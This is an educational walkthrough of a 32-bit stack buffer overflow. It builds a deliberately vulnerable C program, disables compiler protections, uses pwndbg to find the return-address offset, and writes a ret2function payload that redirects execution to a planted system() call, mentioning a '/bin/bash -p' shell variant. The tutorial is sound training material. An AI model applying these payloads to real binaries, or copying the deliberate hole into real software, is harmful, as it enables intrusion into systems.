x86

Introduction

Let’s consider the following source code:

#include <unistd.h>
#include <stdio.h>

int secure(){
    char buffer[200];
    int input;
    
    input = read(0, buffer, 200);
    
    printf("\n[+] user supplied: %d-bytes!", input);
    printf("\n[+] buffer content --> %s!", buffer);
    
    return EXIT_SUCCESS;
}

int main(int argc, char *argv[]){
     secure();
     
     return EXIT_SUCCESS;
}

This program is perfectly secure. We set up a buffer that’s 200 bytes wide and when we take input from the user, we only allow 200 bytes to be inputted into that previously defined buffer!

We couldn’t even overflow this if we tried (I mean eventually, we would break the pipe but that’s not important right now). Let’s see what happens if we try to sneak in a couple hundred more bytes than what’s explicitly defined:

See, it only prints the buffer size, which is the expected and secure response from our program!

Exploitable Example

Now, let’s look at the following code:

#include <unistd.h>
#include <stdio.h>

int overflow(){
    char buffer[200];
    int input;
    
    input = read(0, buffer, 400);
    
    printf("\n[+] you supplied: %d-bytes!", input);
    printf("\n[+] the contents of the buffer are --> %s", buffer);
    
    return EXIT_SUCCESS;
}

int main(int argc, char *argv[]){
      overflow();
      
      return EXIT_SUCCESS;
}

This is where stuff gets bad. The only difference between this code and the secure code is the following line: input = read(0, buffer, 400);.

This time, the user is allowed to input more bytes than the buffer can handle. So, even when we try to compile this thing, we can see that the compiler screams at us telling us that what we’re doing something insecure:

Now, if we try to supply more bytes than the buffer space, we can see that we get a segmentation fault:

If you got a message saying *** stack smashing detected ***: terminated, this is normal as by default your OS protects your binaries using ASLR, NX, PIE and Stack Canary, so you have to compile with those flags:

gcc -m32 vuln.c -o vuln -fno-stack-protector -fno-pie -no-pie -z execstack -mno-accumulate-outgoing-args

1. -fno-stack-protector: Disables stack smashing protection (no canary values inserted).

2. -fno-pie: Disables Position-Independent Executable (PIE) for non-relocatable code.

3. -no-pie: Ensures the output is not a Position-Independent Executable.

4. -z execstack: Makes the stack executable (enables execution of shellcode on the stack).

5. -mno-accumulate-outgoing-args: Disables optimization for outgoing function arguments (x86-specific).

Also note that this binary is not stripped, meaning we can view raw function names (symbols), this is not the case always, stripped binaries are a pain so we have to read instructions to classify functions.

Note that -m32 is to compile the binary as 32-bit, its easier as a starter to debug and read its assembly, dont forget to run sudo apt install gcc-multilib to use the m32 flag.

Later, we will see techniques to bypass these counter measures, real life binary exploitation is not that easy!

Disassembly

Let’s take our python command and export it to a text file so that we can view what’s happening inside a debugger.

Let’s take our python command and redirect it to a text file so that we can view what’s happening inside a debugger.

python -c 'print("A" * 2000)' > input.txt

I will use pwndbg a GDB plugin which makes it easier to debug the way to exploiting the binary.

We can examine the program’s insides a bit. First, let’s find all the functions (this would be a lot harder if the binary was stripped but lucky for us, it’s not!)

We can ignore most of the stuff above. The functions we’d like to focus on are main() and overflow(). If we go inside of main, we’ll be able to see what the program does when it runs. Inside it, all it does is call our overflow() function.

If you’re having difficulty understanding this output, it’s not as intimidating as it looks. Let’s look at the source code so you can compare the assembly output to the pure source code:

int main(int argc, char * argv[]){
  overflow();
  
  return EXIT_SUCCESS;
}

Do you see? Inside of main, all it’s doing is calling our overflow function which is located at the address: 0x8049176. Let’s move on to something more interesting.

Now that we know (I mean we already knew since we compiled the god-damn program but let’s pretend that we were hacking blindly) what’s inside of the main function, let’s actually disassemble the function that we found inside of it: overflow():

Before going any further, let’s bring back the source code so we can better make sense of the output:

#include <unistd.h>
#include <stdio.h>

int secure(){
  char buffer[200];
  int input;
  
  input = read(0, buffer, 400);
  
  printf("\n[+] user supplied: %d-bytes!", input);
  printf("\n[+] buffer content --> %s!", buffer);
  
  return EXIT_SUCCESS;
}

int main(int argc, char * argv[]){
  secure();
  
  return EXIT_SUCCESS;
}

If we examine the output of the disassembled function, we can see that the buffer variable is pushed onto the stack before the call to the read() function; that function is responsible for actually taking in our user input. This is done by moving the address of [ebp-0xd4] to the EAX register (overflow <+17>).

After this, the buffer variable (now the EAX register) is pushed on the stack as an argument for that aforementioned read() function. If we look carefully, we can see all of the arguments that are passed into read() being pushed on the stack. Observe:

input = read(0, buffer, 400);

So, the first argument of the read function is a 0. We can see this being pushed on the stack at:

pwndbg> disass overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     sub    esp,0xd8
   0x0804917f <+9>:     sub    esp,0x4
   0x08049182 <+12>:    push   0x190
   0x08049187 <+17>:    lea    eax,[ebp-0xd4]
   0x0804918d <+23>:    push   eax
   0x0804918e <+24>:    push   0x0                     # read(0, buffer, 400);
   0x08049190 <+26>:    call   0x8049040 <read@plt>
   0x08049195 <+31>:    add    esp,0x10
   0x08049198 <+34>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:    sub    esp,0x8
   0x0804919e <+40>:    push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:    push   0x804a008
   0x080491a6 <+48>:    call   0x8049050 <printf@plt>
   0x080491ab <+53>:    add    esp,0x10
   0x080491ae <+56>:    sub    esp,0x8
   0x080491b1 <+59>:    lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:    push   eax
   0x080491b8 <+66>:    push   0x804a028
   0x080491bd <+71>:    call   0x8049050 <printf@plt>
   0x080491c2 <+76>:    add    esp,0x10
   0x080491c5 <+79>:    mov    eax,0x0
   0x080491ca <+84>:    leave
   0x080491cb <+85>:    ret
End of assembler dump.

Next, we see the buffer variable being passed into the function, which we already just covered:

pwndbg> disass overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     sub    esp,0xd8
   0x0804917f <+9>:     sub    esp,0x4
   0x08049182 <+12>:    push   0x190
   0x08049187 <+17>:    lea    eax,[ebp-0xd4]
   0x0804918d <+23>:    push   eax                      # read(0, buffer, 400);
   0x0804918e <+24>:    push   0x0                     
   0x08049190 <+26>:    call   0x8049040 <read@plt>
   0x08049195 <+31>:    add    esp,0x10
   0x08049198 <+34>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:    sub    esp,0x8
   0x0804919e <+40>:    push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:    push   0x804a008
   0x080491a6 <+48>:    call   0x8049050 <printf@plt>
   0x080491ab <+53>:    add    esp,0x10
   0x080491ae <+56>:    sub    esp,0x8
   0x080491b1 <+59>:    lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:    push   eax
   0x080491b8 <+66>:    push   0x804a028
   0x080491bd <+71>:    call   0x8049050 <printf@plt>
   0x080491c2 <+76>:    add    esp,0x10
   0x080491c5 <+79>:    mov    eax,0x0
   0x080491ca <+84>:    leave
   0x080491cb <+85>:    ret
End of assembler dump.

Lastly, we have the 400 bytes we’re allowed to input into the buffer variable:

pwndbg> disass overflow
Dump of assembler code for function overflow:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     sub    esp,0xd8
   0x0804917f <+9>:     sub    esp,0x4
   0x08049182 <+12>:    push   0x190                  # read(0, buffer, 400);
   0x08049187 <+17>:    lea    eax,[ebp-0xd4]
   0x0804918d <+23>:    push   eax                      
   0x0804918e <+24>:    push   0x0                     
   0x08049190 <+26>:    call   0x8049040 <read@plt>
   0x08049195 <+31>:    add    esp,0x10
   0x08049198 <+34>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804919b <+37>:    sub    esp,0x8
   0x0804919e <+40>:    push   DWORD PTR [ebp-0xc]
   0x080491a1 <+43>:    push   0x804a008
   0x080491a6 <+48>:    call   0x8049050 <printf@plt>
   0x080491ab <+53>:    add    esp,0x10
   0x080491ae <+56>:    sub    esp,0x8
   0x080491b1 <+59>:    lea    eax,[ebp-0xd4]
   0x080491b7 <+65>:    push   eax
   0x080491b8 <+66>:    push   0x804a028
   0x080491bd <+71>:    call   0x8049050 <printf@plt>
   0x080491c2 <+76>:    add    esp,0x10
   0x080491c5 <+79>:    mov    eax,0x0
   0x080491ca <+84>:    leave
   0x080491cb <+85>:    ret
End of assembler dump.

How is that the 400? Well, the thing being pushed (0x190) is hexadecimal for 400. We can verify this with:

And thus, we have reverse-engineered all the arguments to the read() function! Pretty fascinating stuff, right?

Stack Overflow

Let’s get even more in-depth and interact with the program. First, let’s create a text file to hold all of our S’s:

I chose 800 bytes arbitrarily, you can choose whatever. Now, let’s run the program; supplying our input, of course:

Although the bytes I supplied are arbitrary, you should still be mindful of how much you initially supply, it's better to start small and iterate higher and higher.

pwndbg> r < input.txt

As expected, we’ve got a segmentation fault. Since this is going to be more in-depth than just a simple “do this after crashing the program” kind of article, let’s examine what happens to the program before it dies as a form of cyber-pseudo-still living autopsy. To do this, some extremely useful features called “breakpoints” are going to be used. These stop or “break” the execution of the program when the program reaches it.

So, let’s set some breakpoints before the call to read(), one right after it, and lastly one on the return (ret) instruction.

Now, if we run the program, it should hit the first breakpoint right before the call to the read function.

pwndbg> r

We can see from the code section that we’re currently inside the overflow function. We can see this further by examining a couple of addresses at the EIP register:

Nice, this looks like the overflow function and if we recall, our input will be stored inside of the buffer variable which is located at the address of [ebp-0xd4]. We can find the address of this region with the following command:

pwndbg> p $ebp-0x200

If we view this address, we won’t find our “S”s in there yet because remember, we’re at the breakpoint right before the program will take our input and toss it into the region we’re going to be examining (the buffer):

If we continue the execution of the program using c, we can then re-examine this block of memory and we should see our S’s in there!

We’re at the second breakpoint now, i.e., right after the call to read(). Which means…

Nice! We can see that S’s are all up in here. The next thing we need to take a look at is why the program crashes.

Since our output is larger than the declared variable size, the S’s obviously need to go somewhere. The normal behavior of a program is that the S's are copied further down the stack, overwriting/overflowing other data that was meant to reside there. One crucial piece of data that was overwritten was the return address.

Once the overflow() function is complete, the return address that was pushed onto the stack was meant to restore the rest of the main() function. However, if we hit continue again, we hit the last breakpoint set at the return instruction.

The return instruction takes the data at the top of the stack and puts it into the EIP.

The stack pointer (ESP) holds the top of the stack. So, once we get to our last breakpoint, we can see:

We’re at the RET instruction and since we’re at RET, what’s going to happen here is that the ESP register is going to move whatever value is inside of it (i.e., at the top of the stack, normally, this would just be the normal return so that we could restore main()) into the EIP register and since it’s going to be a bunch of S’s, it’s going to crash.

Let’s step inside the debugger and see if we can catch the moment the EIP gets filled with the value inside of ESP due to the RET instruction:

It’s just like we thought, the ESP (although it once held a normal and perfectly usable address) took the value inside of it and put it in the EIP register.

Since our overflow had reached way down the stack, the ESP register took what was on top of the stack, a bunch of S’s, and put that in the EIP register instead, and the EIP register told the program to run the instruction at 0x41414141 , which, as we all know, isn’t a proper memory address, so we’ve crashed.

Finding the EIP Offset

The even more dangerous part now is that we can very obviously overflow the stack to the point that after the RET instruction is reached, it makes the ESP register move a completely useless address to the EIP register.

But what if we overflow the program just before we overwrite the return address and instead change the return address, not to a bunch of S’s, but instead, to some actually useful code, like for instance, some code that we put on the stack.

In order to do that, we need to first figure out the offset until we reach the EIP. We need to generate a cyclic pattern:

Now, let’s run the program using the newly created pattern as our input:

It might be hard to see, but the value stored inside of the EIP register is: 0x63616165. Since we have this address now, we can find the offset using the following command:

pwndbg> cyclic -l 0x63616165

Okay, perfect. We know that the EIP can be supplied up to 216 bytes before we overwrite it and destroy it. So, let’s see if we can overwrite the EIP address with a bunch of B’s:

python -c 'print("A" * 216 + "B" * 4 + "C" * 180)' > offset.txt

It’s good to use the same amount of bytes as you started with and fill the unused bytes with a different character just to make good use of the space and to better see ourselves on the stack.

Let’s run this and if we’ve overwritten values properly, we should see that our EIP register holds a value of 42424242 (B’s in hex):

Ret2Function

Now, all we need to do is supply our own shellcode to abuse this or find a function that’s stupidly overpowered to hack the program for us. Let’s examine a case where we could populate the EIP with the address of a function left inside of the program to hack it for us.

First, let’s edit our source code:

#include <stdio.h>
#include <unistd.h>

int hackme(){
  system("touch hacked.txt");
}

int secure(){
  char buffer[200];
  int input;
  
  input = read(0, buffer, 400);
  
  printf("\n[+] user supplied: %d-bytes!", input);
  printf("\n[+] buffer content --> %s!", buffer);
  
  return EXIT_SUCCESS;
}

int main(int argc, char * argv[]){
  secure();
  
  return EXIT_SUCCESS;
}

The only difference between this program and the previous one is the inclusion of the hackme() function which will create a file called hacked.txt.

Now, it won’t ever get the chance to actually run that function since inside of main(), we never call the function, so this is just dead code inside of the program. Let’s compile this:

gcc -m32 -no-pie -fno-pie -mno-accumulate-outgoing-args -fno-stack-protector -z execstack vuln2.c -o vuln2

So, we can crash the program, crash the program just enough to supply the instruction pointer with a bunch of B’s, but what else can we do? and more importantly, how much more malicious can we get?

Well, friends, allow me to introduce the concept of EIP control or execution control.

So, the EIP register, what does it do? Basically, the instruction pointer can be summarized in the following:

“The Program Counter, also known as the Instruction pointer, is a processor register that indicates the current address of the program being executed.” - Program Counter, Embedded Artistry

So if you could imagine, when we filled the EIP register of the four B’s, those were just junk bytes. 0x42424242 doesn’t mean anything in the context of a usable memory address.

However, what if instead of supplying B’s or any other letter, we supplied the address of a function, specifically, the function that wouldn’t otherwise get executed.

There lies the beauty of this technique. We get to use our program against itself. First, let’s go ahead and disassemble the function we added:

In this output, we can clearly see that inside the hackme() function, there’s a call to system() with a push of an address right above it.

That address being pushed, is going to be the argument passed to system. In this case, it’s going to create a text file called hacked.txt. Let’s see if that’s the value of the argument by examining that address as a string:

It’s just as we thought! Perfect. Now, let’s move on and actually exploit this program such that we overflow the binary, redirect the EIP to hold the address of the hackme() function, the culmination of which will create a text file in our directory.

So, let’s start off by getting the address of this function:

pwndbg> p hackme
$1 = {<text variable, no debug info>} 0x8049186 <hackme>

Remember that this binary is in little-endian. This means that we can’t just supply the address above as is, we need to reverse the byte order which means instead of 0x8049186 , the address is going to be:

"\x86\x91\x04\x08\"

See how much more useful this is when we compare it to our “BBBB” inside of the EIP register? Now, when the EIP gets this value, it’ll run the hackme() function, instead of crashing because it doesn’t know what to do with 0x42424242. Let’s replace our payloads:

python -c 'print("A" * 216 + "B" * 4 + "C" * 180)' > offset.txt

This turns into:

# Payload = offset + hackme_addrress/shellcode/etc...
python2 -c 'print("A" * 216 + "\x86\x91\x04\x08" + "C" * 180)' > exploit.txt

The reason I used python2 for this command is because of this.

Now, if we finally run this exploit input, we should see that the exploit forces the binary to run that hackme() function and thus, a file will be created.

We can use a shellcode to execute directly in memory, but usually there is NX safeguard on the binary making stack not executable, we can use ret2-based attacks to bypass it though :)

First, let’s list our current directory:

See, there’s no hacked.txt file. Now, let’s open the program up inside of GDB and run the exploit:

Awesome, we can see new processes/programs were spawned which should’ve created our file:

Now, obviously, creating a file is not that special but could you imagine the devastation if instead of:

int hackme(){
    system("touch hacked.txt");
}

There was a function like:

int ez(){
    system("/bin/bash -p");
}

That wouldn’t be good. And there’s a nice little trick we can use (called the double-cat trick due to STDIN being open in a weird way but that’s a talk for a different time) to keep the shell open because if we were to redirect the EIP to that ez() function, it wouldn’t be stable enough for us to use the shell.

I hope you’ll excuse me for blabbering on and nerding out, but you can see how cool this is. From the basic reverse engineering to delving down deep and hacking this program, I hope you learned/got something from this and I sincerely thank you for reading this!

Extras

Cyclic Pattern

A cyclic pattern generates a unique, non-repeating sequence (e.g., aaaabaaacaaad...) so when a program crashes, the crash value in $eip or $rip points to a specific part of the pattern, allowing you to calculate the exact offset using cyclic -l <value>.

For example, If $eip = 0x6161616c ('laaa' in cyclic pattern), cyclic -l 0x6161616c gives the offset.

GDB/pwndbg Commands

Commands - Documentation

Memory Inspection:

• x/[NUM][FORMAT][UNIT] [ADDRESS]:

  • x/8x $eip: 8 hex values at $eip.

  • x/12i $eip: Disassemble 12 instructions.

  • x/s $eax: Show string at $eax.

• telescope $rsp: Inspect stack in readable format (pwndbg).

Practice buffer overflow more:

ret2win challenge